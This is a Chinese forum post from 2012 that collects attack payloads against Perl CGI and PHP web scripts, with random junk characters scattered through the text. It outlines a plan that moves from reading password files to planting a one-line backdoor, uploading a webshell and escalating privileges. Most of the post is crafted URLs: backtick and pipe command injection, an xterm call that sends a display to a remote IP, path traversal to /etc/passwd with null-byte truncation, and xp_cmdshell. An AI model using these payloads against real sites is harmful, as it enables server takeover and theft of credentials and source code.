找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2712|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  8 ~" r+ a2 T4 a0 l2 g9 @6 A& H; b; o
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  % d2 }( e4 {) K
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
' a  x- D3 Q- P( K: s注“  ' e6 t: [" t& M, B: c: ~
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
  G* I" b5 s5 r3 k$ d6 V1 }以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
* u: ?( J& m7 w- ?6 P( B- I, Z
1 E) z& Y1 A( P+ T# w1 Z7 whttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
! ^6 J$ l' g  a, Hhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  $ ~8 @& g: l) v# O8 i
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
" Q8 @. g$ @; [7 Q6 nhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
) w  b: {' f# f$ V5 Whttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  * g5 N) E- ~2 G& l5 f) s- u
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
; e! }# e5 a/ D( h9 \$ E1 ?
; l1 _! p. o7 H. y+ Zhttp://target.com/test.pl;ls|  7 u" u, S* u# w" s0 J' {2 z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  % f6 W, F5 N0 G2 m! s
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
" `: w9 k- b+ Y' ?: R1 khttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
* G% [( P1 r  j! v" T2 T5 k比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  0 g+ t% Q+ V2 U8 i5 w; e
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  : ]5 `  _. j) V8 y7 @3 S: x
+ z0 O' ~. a' B' y
http://target.com/test.pl?&........ /../../etc/passwd  + q8 z! K1 y& s
( z8 ?9 s# z9 B& J% Y
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
/ }7 K% f5 I7 H6 ]: w. Fhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ) t: z3 U  l( L4 b6 c/ M
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  5 w. L! G" J: p( _+ K

0 u" h- j6 l4 l. dhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
9 i# [0 j2 B0 ^0 [' k- Qhttp://www.target.org/show.php?f ... ng/admin/global.php  - c! A9 R4 n, s9 P9 E6 T1 G
: A, c3 m* W6 [) i) n
emm和ps的一句话
3 x: a. P- S. s$ m8 n
5 f; t$ `  V5 b0 \3 t3 d8 Zhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
2 q9 B8 K# f7 j+ \. \# P* a2 W3 w% f, V2 @9 N% q
>bbb%20|  4 C5 b" B8 u7 S1 k; F- A

1 q; c4 F& h1 Shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
  G8 c  }  O: T. ]  B/ v( F; [9 a: p
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  9 N+ j) O8 L3 E- ^" U! ?
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
7 v* p) t3 B$ M* x' C
- p! o5 p9 s1 |5 t相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  5 s; f( x: J' t# `9 J" {
http://target.com/index.html#cmd.exe  7 e% W# Z1 p" c; t
http://target.com/index.html?dummyparam=xp_cmdshell  8 H6 b' r; A, h7 Q2 y& J
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd    {3 b$ b, S0 w+ n3 \# N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表